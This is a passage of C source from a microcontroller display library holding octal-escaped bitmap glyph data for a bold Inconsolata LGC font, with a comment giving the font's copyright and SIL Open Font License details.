"\0\0\0\0\0\0\0\0\340\360\374\376\377\177\37\17\7\7\7\3\7\7\7\17\37\77\177\376\374\370\340\200" "\0\0\0\0\0\0\0\377\377\377\377\377\203\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\377\377\377\377" "\374\0\0\0\0\0\0\1\17\37\177\377\377\374\370\360\340\300\300\300\300\300\340\340\360\360x>\377\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\3\3\3\3\3\3\3\1\0\0\340\377\377\377\377" "\37\0\0\0\0\0\0\0\200\300\340\360\340\300\300\200\200\200\200\200\200\300\300\340\360\370\376\177\77\37\7\1" "\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360\360\360\360\340\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\17\17\17\17\7\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\360\360\360\360\360\340\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\7\17\7\7\3\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0"; /* Fontname: -FreeType-Inconsolata LGC-Bold-R-Normal--30-300-72-72-P-147-ISO10646-1 Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Emboldened by MihailJP. Some glyphs modified by Greg Omelaenko, using FontForge. Glyphs: 191/658 BBX Build Mode: 3 */ const uint8_t u8x8_font_inb21_2x4_f[14340] U8X8_FONT_SECTION("u8x8_font_inb21_2x4_f") = " \377\2\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0x\374\374\374\370\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\1\0\0" "\0\0\0\0\0\0\0\0\0\340\363\363\363\340\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0" "\0\0\0\0\0\0\0\0\370\374\374\0\0\0\370\374\374\0\0\0\0\0\0\0\7\7\7\0\0\0\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\360\360\20\0\0\360\360\360\20\0\0\16\16\16\356\377\377\17\6\6\366\377\377" "\37\16\16\16\7\7\347\377\377\37\7\7\367\377\377\17\7\7\7\0\0\0\1\1\1\0\0\0\1\1\1\0" "\0\0\0\0\0\0\200\300\340\360p\374\374\374tp\340\340\300@\0\0\7\37\37>\70\377\377\377\360\340" "\340\301\301\200\0\0\70|p\340\340\377\377\377\340\340q\177\77\37\0\0\0\0\0\0\0\3\3\3\0\0" "\0\0\0\0\300\340\360\360p\360\340\340\300\0\0\300\360\360p\20\7\17\17\36\34\37\337\357\377\376\77\17" "\7\1\0\0\0\200\340\360\374\77\37\7}\376\377\307\307\377\376\376\0\1\1\1\0\0\0\0\0\0\1\1" "\1\1\0\0\0\0\200\340\340\360pp\360\360\340\300\0\0\0\0\0\0\207\337\377\377\360\360\370\277\37\17" "\0\200\200\0>\177\377\367\341\300\300\301\343\357\377~|\377\357\307\0\0\0\1\1\1\1\1\1\0\0\0" "\0\1\1\0\0\0\0\0\0\0\0\370\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360x<\34\20\0\0\0\0\0\360\376\377\177\7\1\0\0" "\0\0\0\0\0\0\0\0\17\177\377\377\340\200\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\36<" "\70x\20\0\0\0<\70x\360\340\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\37\377\376\370" "\0\0\0\0\0\0\0\0\0\0\0\300\360\377\377\77\0\0\0\0\0\20p\70<\36\37\17\7\1\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\200\200\0\0\0\0\0\0\20<\70\70\60\360\343\377\377\347\360\60" "\70\70<\0\0\0\10\36\37\17\3\1\1\3\17\37\36\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0\0\0\0\340\340\340\340\340\340\377\377\377\340\340\340" "\340\340\340\0\0\0\0\0\0\0\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\340\340\300\0\0\0\0\0\0\0\0\0\0\0\61;\37\17\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0ppppppppppp" "pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\340\340\300\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\360\60\0\0\0\0\0\0\0\200\340\370\376\77\17" "\3\0\0\0\0\0\200\340\370\376\77\17\3\0\0\0\0\0\0\0\0\2\7\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340\360ppp\360\340\300\200\0\0\0\370\377\377\77\3\0\300\340x<\17" "\377\377\377\370\0\7\37\77\177\376\347\303\300\300\340\360\377\177\37\7\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\200\300\300\340\340\360\360\360\0\0\0\0\0\0\0\0\0\1\0\0\0\377\377\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0" "\0\0\0\0\0\200\300\340\340pppp\360\340\340\300\200\0\0\0\0\1\3\0\0\0\200\300\340\361\377" "\177\37\0\0\0\300\340\370\374\336\317\307\303\301\301\300\300\300\0\0\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\0\0\0\0@\340\340\360pppp\360\340\340\300\0\0\0\0\0\0\0ppppx\370\377" "\337\217\0\0\0\0`\360\360\340\300\300\300\300\340\373\377\177\37\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\360\360\0\0\0\0\0\200\300\360\370<\17\7\1\377\377" "\377\0\0\0\0\16\17\17\17\16\16\16\16\16\377\377\377\16\16\16\0\0\0\0\0\0\0\0\0\0\1\1" "\1\0\0\0\0\0\360\360\360ppppppppp\0\0\0\0\77\177\177\70\34\34\34\34<\370" "\370\340\300\0\0 p\370\360\340\300\300\300\300\340\377\177\77\17\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\300\300\340\360pppp\360\340`\0\0\0\374\377\377\377\71<\34\34\34<\370" "\370\340\300\0\0\17\77\177\376\360\340\300\300\300\340\377\177\77\17\0\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0ppppppppp\360\360\360p\0\0\0\0\0\0\0\0\200\340\374\377\77" "\7\1\0\0\0\0\0\0\200\360\374\377\77\7\0\0\0\0\0\0\0\0\0\0\1\1\1\1\0\0\0\0" "\0\0\0\0\0\0\200\300\340\340\360ppp\360\340\340\300\0\0\0\0\7\237\377\377\360p`\360\370\377" "\237\17\0\0\0>\177\377\373\340\300\300\300\300\341\377\377\177\36\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\0\300\340\340\360pppp\340\340\300\200\0\0\0\37\177\377\373\340\300\300\300\300\340\367" "\377\377\374\0\0@\340\360\340\301\301\301\301\341\360\177\177\37\7\0\0\0\0\0\1\1\1\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\70|||\70\0\0" "\0\0\0\0\0\0\0\0\0\300\340\340\340\300\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\70|||\70\0\0" "\0\0\0\0\0\0\0\0\0\300\340\340\340\300\0\0\0\0\0\0\0\0\0\0\0\61;\37\17\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\340`\360\360\370\370\234\234\16\16\17\7\7" "\3\3\1\1\0\0\1\1\3\3\7\7\17\16\34<\70xp\360\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\16\16\16\16\16\16\16\16\16\16\16\16" "\16\16\16\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\17\16\36\234\274\370" "\370\360\360`px\70<\34\36\16\17\7\3\3\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 p\370x<\34\34\34\34<\370\370\360\300\0\0\0\0\0\0\0\0\300\360\360x\77" "\37\17\7\0\0\0\0\0\0\0\340\361\361\361\340\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0" "\0\0\0\0\0\0\200\300\340\340\360pppp\360\340\300\200\0\374\377\377\237\3\360\370\374\376\36\16\16" "\357\377\377\377\3\37\77\177\370\360\343\303\307\307\307\307\343\347\7\7\0\0\0\0\0\0\1\1\1\1\1\1" "\0\0\0\0\0\0\0\0\0\0\300\360\340\200\0\0\0\0\0\0\0\0\0\300\370\377\37\7\37\177\374\360" "\200\0\0\0\300\370\377\77\7\7\7\7\7\7\7\37\177\376\360\300\1\1\1\0\0\0\0\0\0\0\0\0" "\0\1\1\1\0\360\360\360ppppppp\360\340\340\300\0\0\377\377\377ppppppp\370" "\377\337\217\0\0\377\377\377\300\300\300\300\300\300\300\340\377\377\177\36\0\1\1\1\1\1\1\1\1\1\1\1" "\0\0\0\0\0\0\200\300\340\340\360pppp\360\340\300\300\0\374\377\377\377\3\0\0\0\0\0\0\0" "\1\3\3\1\7\37\77\177\370\360\340\300\300\300\300\340\360\360p \0\0\0\0\0\0\1\1\1\1\1\1" "\0\0\0\0\0\360\360\360pppppp\360\340\300\200\0\0\0\377\377\377\0\0\0\0\0\0\0\3" "\377\377\377\374\0\377\377\377\300\300\300\300\300\340\340\370\177\77\37\3\0\1\1\1\1\1\1\1\1\1\0\0" "\0\0\0\0\0\360\360\360ppppppppppp\0\0\377\377\377pppppppp" "pp\0\0\0\377\377\377\300\300\300\300\300\300\300\300\300\300\300\0\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\1\0\0\0\360\360\360ppppppppppp\0\0\377\377\377ppppppp" "pp\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340\340\360pppp\360\340\340\300\200\370\377\377\237\3\0\0\0\0\300\300\300" "\301\303\301\300\7\37\77\177\370\340\340\300\300\301\301\301\341\377\377\177\0\0\0\0\0\0\1\1\1\1\1\1" "\0\0\0\0\0\360\360\360\20\0\0\0\0\0\0\0\360\360\360\20\0\377\377\377pppppppp" "\377\377\377\0\0\377\377\377\0\0\0\0\0\0\0\0\377\377\377\0\0\1\1\1\0\0\0\0\0\0\0\0" "\1\1\1\0\0\0pppp\360\360\360ppppp\0\0\0\0\0\0\0\0\377\377\377\0\0\0" "\0\0\0\0\0\0\300\300\300\300\377\377\377\300\300\300\300\300\0\0\0\0\1\1\1\1\1\1\1\1\1\1" "\1\1\0\0\0\0\0\0\0pppp\360\360\360pppp\0\0\0\0\0\0\0\0\0\377\377\377" "\0\0\0\0\0`\360\340\300\300\300\300\340\377\377\77\0\0\0\0\0\0\0\0\1\1\1\1\1\0\0\0" "\0\0\0\0\360\360\360\20\0\0\0\0\200\300\340\360\360\60\20\0\377\377\377\340p\370\374\336\217\7\3\1" "\0\0\0\0\377\377\377\0\0\0\1\7\17\77~\370\360\340\200\0\1\1\1\0\0\0\0\0\0\0\0\0" "\1\1\1\1\0\360\360\360\20\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\300\300\300\300\300\300\300\300\300\300\300\0\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\1\0\360\360\360\340\200\0\0\0\0\0\0\300\360\360\360\0\377\377\377\7\37~\370\340\360|\37\7" "\377\377\377\0\377\377\377\0\0\0\1\3\1\0\0\0\377\377\377\0\1\1\1\0\0\0\0\0\0\0\0\0" "\1\1\1\0\0\360\360\360\360\300\0\0\0\0\0\0\0\360\360\360\0\377\377\377\3\17\37|\370\340\200\0" "\0\377\377\377\0\377\377\377\0\0\0\0\1\7\17>\374\377\377\377\0\1\1\1\0\0\0\0\0\0\0\0" "\0\1\1\1\0\0\200\300\340\340pppp\360\340\340\300\200\0\374\377\377\237\1\0\0\0\0\0\0\1" "\3\377\377\377\7\37\77\177\370\340\300\300\300\300\340\340\370\177\77\17\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\360\360\360pppppp\360\360\340\300\200\0\0\377\377\377\340\340\340\340\340\340\340\360" "\177\177\37\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340\340pppp\360\340\340\300\200\0\374\377\377\337\1\0\0\0\0\0\0\1" "\3\377\377\376\7\37\177\377\360\340\300\300\200\300\300\340\370\177\77\17\0\0\0\0\1\1\1\17\37\77\71\71" "\70\70\70\0\0\360\360\360pppppp\360\360\340\300\200\0\0\377\377\377\340\340\340\340\340\340\340\360" "\177\77\37\0\0\377\377\377\0\0\0\0\1\7\37\177\374\360\300\200\0\1\1\1\0\0\0\0\0\0\0\0" "\1\1\1\1\0\200\300\340\340\360pppp\360\340\340\300\200\0\0\7\37\77=xpp\340\340\340\300" "\301\201\0\0 p\370\340\340\300\300\300\300\300\341\361\377\177\77\0\0\0\0\0\1\1\1\1\1\1\1\0" "\0\0\0\0pppppp\360\360\360ppppppp\0\0\0\0\0\0\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0" "\0\0\0\0\0\360\360\360\20\0\0\0\0\0\0\0\0\360\360\360\0\377\377\377\0\0\0\0\0\0\0\0" "\0\377\377\377\0\37\177\377\374\340\300\300\300\300\300\340\374\177\177\37\0\0\0\0\0\1\1\1\1\1\1\1" "\0\0\0\0p\360\360\340\0\0\0\0\0\0\0\0\300\360\360p\0\1\17\177\377\370\300\0\0\200\360\376" "\177\17\3\0\0\0\0\0\3\17\177\376\374\377\37\3\0\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0" "\0\0\0\0\360\360\360\0\0\0\0\300\300\200\0\0\0\300\360\360\7\377\377\374\0\340\374\177\77\377\370\300" "\300\377\377\7\0\0\77\377\377\77\7\0\0\3\37\377\377\177\1\0\0\0\0\1\1\0\0\0\0\0\0\1" "\1\0\0\0\20\60\360\360\340\200\0\0\0\0\200\340\360\360\60\0\0\0\0\3\17\237\376\370\370\376\237\7" "\3\0\0\0\0\300\340\370~\77\17\3\3\17\37~\370\360\300\0\1\1\1\1\0\0\0\0\0\0\0\0" "\1\1\1\1p\360\360\340\200\0\0\0\0\0\0\300\360\360p\20\0\1\3\17\77\376\370\340\360\374\177\37" "\7\1\0\0\0\0\0\0\0\0\377\377\377\1\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0" "\0\0\0\0\0\0pppppppppp\360\360\360p\0\0\0\0\0\0\200\340\360\370~\37" "\17\3\0\0\0\300\340\370\374\377\337\307\303\300\300\300\300\300\300\300\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\1\1\0\0\0\374\374\374\34\34\34\34\34\34\34\34\0\0\0\0\0\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\17\17\17\16\16\16\16\16\16" "\16\16\0\0\0\60\360\370\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\376\370\340\200\0\0" "\0\0\0\0\0\0\0\0\0\0\0\3\17\77\376\370\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\3" "\7\7\6\0\0\34\34\34\34\34\34\34\34\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\16\16\16\16\16\16\16\16\17\17\17" "\0\0\0\0\0\0\0\0\0\200\300\360\360\340\200\0\0\0\0\0\0\0\20\34>\17\3\1\1\7\17\77" "\34\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\34\34\34\34\34\34\34\34\34\34\34\34" "\34\34\34\34\0\0\0\0\370\360\300\200\0\0\0\0\0\0\0\0\0\0\0\0\1\7\37\77~\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\34\34\216\216\216\216\216\236" "\374\374\370\0\0<\376\377\377\307\303\303\303\303\343\363\377\377\377\0\0\0\0\0\1\1\1\1\1\1\0\0" "\1\1\1\0\0\374\374\374\4\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377x\34\16\16\16\16\36<" "\374\370\340\0\0\377\377\377\374\340\300\300\300\300\340\360\377\177\37\0\0\1\1\1\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\374<\36\16\16\16\16\36" "\34|\70\20\0\17\77\177\376\360\340\300\300\300\300\300\340\360`\0\0\0\0\0\0\0\1\1\1\1\1\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\4\0\300\360\370\374\36\16\16\16\16\34<\377" "\377\377\0\0\17\77\177\376\340\300\300\300\300\340\360\377\377\377\0\0\0\0\0\0\1\1\1\1\1\0\0\1" "\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\374\234\236\216\216\216\216\236" "\374\370\360\340\0\17\77\177\377\343\343\303\303\303\303\303\343\363c\3\0\0\0\0\0\0\1\1\1\1\1\1" "\0\0\0\0\0\0\0\0\0\340\360\370<\34\34\34\34\16\16\376\376\374<\16\16" "\376\376\374\0\377\377\377\0\0\0\377\377\377\0\0\0\377\377\377\0\1\1\1\0\0\0\1\1\1\0\0\0" "\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\376\376x\34\34\16\16\16\36\376" "\374\370\0\0\0\377\377\377\0\0\0\0\0\0\0\377\377\377\0\0\0\1\1\1\0\0\0\0\0\0\0\1" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\374<\36\16\16\16\16\36|" "\370\370\340\0\17\77\177\376\360\340\300\300\300\300\340\360\377\177\37\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\376\376x\34\16\16\16\16\36>" "\374\370\360\300\0\377\377\377|\340\300\300\300\300\340\340\375\177\77\17\0\177\177\177\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\374\34\36\16\16\16\16\34\374" "\376\376\376\0\17\77\177\376\360\340\300\300\300\300\340}\377\377\377\0\0\0\0\0\0\1\1\1\1\1\0\0" "\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\376\376\370<\34\16\16\16\16" "\36<\34\0\0\0\377\377\377\1\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0p\374\374\376\216\216\216\16\36\34" "<\70\10\0\0`p\360\341\301\303\303\303\303\347\377\376~<\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\340\340\360p\0\0\0\0\0\0\0\0\16\16\16\16\377\377\377\16\16\16\16" "\16\0\0\0\0\0\0\0\0\177\377\377\340\300\300\300\340\360\0\0\0\0\0\0\0\0\0\1\1\1\1\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\376\376\0\0\0\0\0\0\0\0" "\376\376\376\0\0\37\177\377\374\340\300\300\300\340\340|\377\377\377\0\0\0\0\0\0\1\1\1\1\1\0\0" "\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\36~\376\370\300\0\0\0\0\200\340" "\376~\36\2\0\0\0\1\17\77\377\370\360\374\77\17\3\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\36\376\376\340\0\0\300\374\374\370\300\0" "\0\376\376\376\0\3\177\377\374\374\177\7\0\17\177\376\370\377\177\1\0\0\0\1\1\1\0\0\0\0\0\1" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\6\16>|\370\360\300\300\360\370>" "\36\16\2\0\0\200\300\360\370|\37\17\17\37|\370\360\300\200\0\1\1\1\1\0\0\0\0\0\0\0\0" "\1\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\6\36~\376\360\300\0\0\0\0\300\370" "\376~\16\0\0\0\0\3\17\77\376\370\360\376\77\17\1\0\0\0\70xppp|\77\37\7\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\16\16\16\16\16\216\316\356\376~" ">\36\16\0\0\300\340\360\370\374\336\317\307\303\301\300\300\300\300\300\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\1\1\0\0\0\0\0\200\300\340\360pppppp\0\0\200\200\200\300\377\377\177\1\0\0\0" "\0\0\0\0\0\3\3\3\7\377\376\374\0\0\0\0\0\0\0\0\0\0\0\0\0\17\77\77~xpp" "ppp\0\0\0\0\0\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\177\177\177\0\0\0" "\0\0\0\0\0\0ppppp\360\340\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\77\377\377\360" "\200\200\200\0\0\0\0\0\0\0\0\0\370\376\376\37\3\3\3\0\0\0pppppx\177\77\37\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\34\34\36\16\16\16\36\34<\70\70" "\70\34\36\14\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 